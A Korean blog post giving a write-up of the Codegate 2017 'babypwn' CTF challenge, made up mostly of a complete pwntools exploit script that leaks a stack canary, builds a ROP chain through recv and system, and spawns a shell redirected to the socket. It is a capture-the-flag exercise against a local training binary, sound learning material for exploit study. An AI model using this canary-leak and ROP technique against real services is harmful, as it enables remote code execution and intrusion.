codegate 2017 - babypwn

2018. 9. 20. 21:24CTF's Write-up

Codegate 2017 - babypwn 문제입니다.


카나리 익스 연습하려고 추천해주셔서 풀어봤습니다.

원격으로 서버열어서 쉘따는 부분이 0>&4 1>&4 입출력 다 원격으로 바꾸는게 신기했습니다. 물론 저부분은 도움없었으면 못풀었을거에요 ㅠ



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
 
r = remote('127.0.0.1',6666)
e = ELF('./babypwn')
 
 
bss = 0x0804b1b8+0x32
binsh = "/bin/sh 0>&4 1>&4"
system_plt = e.plt['system']
recv_plt = e.plt['recv']
ppppr = 0x08048eec
 
 
pay = ""
pay += "A" * 40
 
print(r.recvuntil("> "))
r.sendline(str(1))
print(r.recvuntil(": "))
r.sendline(pay)
print(r.recvuntil("A"*40))
canary = u32(r.recv(4)) - 0x0a
print hex(canary)
 
sleep(0.3)
print r.recvuntil("> ")
r.sendline("1")
print r.recvuntil(": ")
 
pay += p32(canary)
pay += "A"*12
 
pay += p32(recv_plt)
pay += p32(ppppr)
 
pay += p32(0x04)
pay += p32(bss)
pay += p32(len(binsh))
pay += p32(0x00)
 
pay += p32(system_plt)
pay += "A"*4
pay += p32(bss)
 
r.sendline(pay)
sleep(0.3)
print r.recvuntil("> ")
r.sendline("3")
r.send(binsh)
r.interactive()\
cs


'CTF's Write-up' 카테고리의 다른 글

h3x0r easy_of_the_easy write-up  (0) 2018.11.07
codegate2018 - BaskinRobins31  (0) 2018.10.31
tamuCTF2018 - pwn3  (0) 2018.09.14
tamuCTF2018 - pwn2  (0) 2018.09.11
tamuCTF2018 - pwn1  (0) 2018.08.21